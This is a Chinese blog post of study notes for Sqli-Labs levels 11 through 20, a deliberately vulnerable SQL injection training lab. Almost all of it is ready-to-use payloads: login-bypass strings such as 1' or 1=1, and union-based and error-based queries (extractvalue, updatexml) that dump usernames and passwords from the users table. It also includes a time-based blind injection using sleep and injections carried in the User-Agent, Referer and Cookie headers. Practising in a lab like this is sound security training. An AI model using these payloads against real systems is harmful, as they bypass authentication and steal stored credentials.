Sqli-Labs做题笔记:Less-11 - Less-20

原创已于 2022-01-24 17:26:18 修改 · 691 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#web安全 #安全 #http

于 2022-01-22 14:56:12 首次发布

笔记专栏收录该内容

45 篇文章

订阅专栏

本文详细介绍了SQL注入攻击的多种类型，包括可回显与不可回显的注入方式，并提供了具体的示例代码。涵盖联合查询、报错注入及盲注等多种手段，帮助读者深入理解SQL注入的原理与防范。

SQL注入分类：

可回显的注入：
- 可以联合查询的注入
- 报错注入
- 通过注入进行DNS请求，从而达到回显的目的
不可回显的注入：
- Bool盲注
- 时间盲注
二次注入

万能语句：

1 or 1=1 – #
1’ or 1=1 – #
1" or 1=1 – #
1) or 1=1 – #
1’) or 1=1 – #
1") or 1=1 – #
1)) or 1=1 – #
1’) or 1=1-- #
1") or 1=1-- #

判断闭合:

uname=1&passwd=1 or 1=1–+
uname=1&passwd=1’ or 1=1–+
uname=1&passwd=1" or 1=1–+
uname=1&passwd=1’) or 1=1–+
uname=1&passwd=1") or 1=1–+

报错注入：

extractvalue(1,concat(0x7e,(select database()),0x7e))

updatexml(1,concat(0x7e,(select database()),0x7e),1)

POST请求

Less-11:

uname=aa'+union+select+group_concat(username),group_concat(password)+from+security.users --+&passwd=aa&submit=Submit

Less-12:

uname=aa")+union+select+group_concat(username),group_concat(password)+from+security.users --+&passwd=aa&submit=Submit

Less-13:

uname=aa')+union+select+updatexml(1,concat(0x7e,(substr((SELECT+group_concat(username,0x7e,password)+from+security.users),1)),0x7e),1)+--+&passwd=aa&submit=Submit

Less-14:

uname=aa"+union+select+updatexml(1,concat(0x7e,(substr((SELECT+group_concat(username,0x7e,password)+from+security.users),1)),0x7e),1)+--+&passwd=aa&submit=Submit

Less-15:

uname=1&passwd=1' or If(ascii(substr(database(),1,1))=115,1,sleep(5))-- #

Less-16:

uname=aa&passwd=aa") or substr(database(),1,1)='s' -- #&submit=Submit

Less-17:

uname=admin&passwd=a' or  extractvalue(1,concat(0x7e,(select * from (select concat_ws(0x7e,id,username,password)from users limit 2,1)a)))--+&submit=Submit

Less-18:

User-Agent:' and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from security.users where username not in ('Dumb','Angelina')),0x7e)) and '

Less-19:

Referer:' and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from security.users where username not in ('Dumb','Angelina')),0x7e)) and '

Less-20:

Cookie: uname=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))-- #